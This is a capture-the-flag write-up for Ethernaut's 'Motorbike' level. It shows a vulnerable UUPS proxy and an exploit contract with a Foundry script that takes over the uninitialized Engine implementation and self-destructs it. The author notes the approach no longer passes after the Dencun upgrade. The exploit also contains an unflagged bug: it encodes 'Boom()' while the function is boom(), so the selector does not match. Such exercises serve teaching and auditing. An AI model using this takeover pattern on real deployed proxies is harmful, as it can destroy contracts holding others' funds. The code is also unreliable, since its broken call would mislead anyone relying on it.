# The Ethernaut CTF Solutions | 25 - Motorbike

## Goals

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/25-motorbike-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/25-motorbike-requirements.webp)

## The Contract

```solidity
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

// import "openzeppelin-contracts-06/utils/Address.sol";
// import "openzeppelin-contracts-06/proxy/Initializable.sol";
import {Address} from "../helpers/Address.sol";
import {Initializable} from "@openzeppelin/contracts/proxy/utils/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT =
        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(
            Address.isContract(_logic),
            "ERC1967: new implementation is not a contract"
        );
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success, ) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(
                gas(),
                implementation,
                0,
                calldatasize(),
                0,
                0
            )
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`.
    // Will run if no other function in the contract matches the call data
    fallback() external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(
        bytes32 slot
    ) internal pure returns (AddressSlot storage r) {
        assembly {
            r.slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT =
        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success, ) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(
            Address.isContract(newImplementation),
            "ERC1967: new implementation is not a contract"
        );

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}
```

## The hack

### Dencun upgrade (Feb 2024)

NOTE: The "old" solution for this challenge is not working anymore since the Dencun upgrade. The issue comes from the new behavior of the `selfdestruct` opcode which doesn't remove the contract's bytecode unless the contract is created AND self-destructed in the same transaction. See [EIP6780](https://eips.ethereum.org/EIPS/eip-6780).

> *Contract Self Destructed, but was later reinitalized with new ByteCode*

However, according to this github thread, it seems that it is still doable: [OpenZeppelin/ethernaut#701](https://github.com/OpenZeppelin/ethernaut/issues/701)

I will update if I crack it. For information purposes, I have kept the old solution below.

### Old solution

In order to self-destruct the `Engine` contract, we need to upgrade it to a new implementation since there is no `selfdestruct()` in this one. We can call the `upgradeToAndCall()` function for that, but we first need to become the `upgrader` inside the `Engine` contract to pass the `_authorizeUpgrade()` access check.

```solidity
function _authorizeUpgrade() internal view {
    require(msg.sender == upgrader, "Can't upgrade");
}
```

There is no way to do that by calling the Motorbike contract directly. But, we see that the Motorbike contract is using a delegatecall to initialize the Engine contract. This means that, as far as the Engine knows, `Engine::upgrader` hasn't been set yet (still `address(0)`), so we can call the `initialize()` function from our exploit contract directly.

Let's get the current Engine implementation address:

* In your Ethernaut browser console:
    

```javascript
await web3.eth.getStorageAt(
  instance,
  "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"
  // => 0x000000000000000000000000239bcf976042946e51690c2de9fea5d017eb282c
  // => 0x239bcf976042946e51690c2de9fea5d017eb282c
);
```

* In Foundry using `forge`:
    

```solidity
address engine = address(
            uint160(
                uint256(
                    vm.load(
                        motorbikeInstance,
                        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
                    )
                )
            )
        );
```

Then, we can upgrade the Engine contract to a new implementation address with the `upgradeToAndCall()` function and call the `boom()` function to self-destruct it.

## Solution

Let's implement the code accordingly:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IEngine {
    function initialize() external;
    function upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) external payable;
}

contract Bicycle {
    IEngine private immutable engine;

    constructor(address _engine) {
        engine = IEngine(_engine);
    }

    function attack() public {
        // 1. Initialize the engine contract
        engine.initialize();
        // 2. Upgrade the engine contract to a new implementation and kill it
        engine.upgradeToAndCall(
            address(this),
            abi.encodeWithSignature("Boom()")
        );
    }

    function boom() external {
        selfdestruct(payable(msg.sender));
    }
}
```

Here is the deployment script for convenience:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Bicycle} from "../src/25_Motorbike.sol";

contract PoC is Script {
    // Replace with your Motorbike instance
    address private immutable motorbike =
        0x72DDB3C8b89C235a6368DC094066e21AbE8759Cc; 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        address engineAddress = address(
            uint160(
                uint256(
                    vm.load(
                        motorbike,
                        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
                    )
                )
            )
        );

        console2.log("Engine address: ", engineAddress);

        Bicycle bicycle = new Bicycle(engineAddress);
        bicycle.attack();

        vm.stopBroadcast();
    }
}
```

You can run the script with the following command:

```bash
forge script script/25_Motorbike.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

However, you will get this since the Dencun upgrade and won't pass this level:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713921303401/55988947-4c61-4e8f-94fa-7acb68ef5187.png align="center")

**🎉 Level not completed 🎉**

## Takeaway

* UUPS Proxies are better than the older EIP-1967 proxies but must be carefully implemented.
    
* Sensitive functions such as contract upgrades should be protected by access control.
    

---

You can find all the codes, challenges and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
